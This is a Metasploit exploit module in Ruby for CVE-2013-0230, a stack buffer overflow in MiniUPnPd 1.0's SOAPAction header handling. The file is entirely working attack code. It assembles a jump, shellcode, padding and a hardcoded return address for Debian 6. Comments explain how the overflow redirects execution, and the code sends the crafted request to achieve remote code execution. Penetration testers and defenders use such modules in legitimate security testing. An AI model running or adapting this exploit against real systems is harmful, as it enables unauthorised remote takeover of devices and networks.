##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  Rank = NormalRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
      'Description'    => %q{
          This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
        present in the SOAPAction HTTP header handling.
      },
      'Author'         =>
        [
          'hdm', # Vulnerability discovery
          'Dejan Lukan' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' => { 'EXITFUNC' => 'process', },
      # the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
      # input, which is why it can't be part of the shellcode (otherwise the vulnerable part
      # of the program is never reached)
      'Payload'        =>
        {
          'Space' => 2060,
          'BadChars' => "\x00\x22",
          'DisableNops' => true
        },
      'Platform'       => 'linux',
      'References'     =>
        [
          [ 'CVE', '2013-0230' ],
          [ 'OSVDB', '89624' ],
          [ 'BID', '57608' ],
          [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
        ],
      'Targets'        =>
        [
          [ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
            {
              'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
              'Offset' => 2123
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 27 2013',
    ))

    register_options([
      Opt::RPORT(5555),
    ], self.class)
  end

  def exploit
    #
    # Build the SOAP Exploit
    #
    # jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
    sploit  = "\xeb\x2d"

    # a valid action
    sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"

    # payload
    sploit += payload.encoded

    # nops
    sploit += rand_text(target['Offset'] - sploit.length - 16)

    # overwrite registers on stack: the values are not used, so we can overwrite them with anything
    sploit += rand_text(4)     # overwrite EBX
    sploit += rand_text(4)     # overwrite ESI
    sploit += rand_text(4)     # overwrite EDI
    sploit += rand_text(4)     # overwrite EBP

    # Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
    # stack points directly to the string after 'Soapaction: ', which is why we must
    # throw the first value on the stack away, which we're doing with the pop ebp
    # instruction. Then we're returning to the next value on the stack, which is
    # exactly the address that we want.
    sploit += [target.ret].pack('V')

    # the ending " character is necessary for the vulnerability to be reached
    sploit += "\""

    # data sent in the POST body
    data =
      "<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
      "<SOAP-ENV:Envelope\r\n" +
      "  SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
      "  xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
      "  xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
      ">\r\n" +
      "<SOAP-ENV:Body>\r\n" +
      "<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
      "</ns1:action>\r\n" +
      "</SOAP-ENV:Body>\r\n" +
      "</SOAP-ENV:Envelope>\r\n"

    #
    # Build and send the HTTP request
    #
    print_status("Sending exploit to victim #{target.name} at ...")
    send_request_cgi({
      'method'  => 'POST',
      'uri'     => "/",
      'headers' => {
        'SOAPAction' => sploit,
      },
      'data'    => data,
    })

    # disconnect from the server
    disconnect
  end
end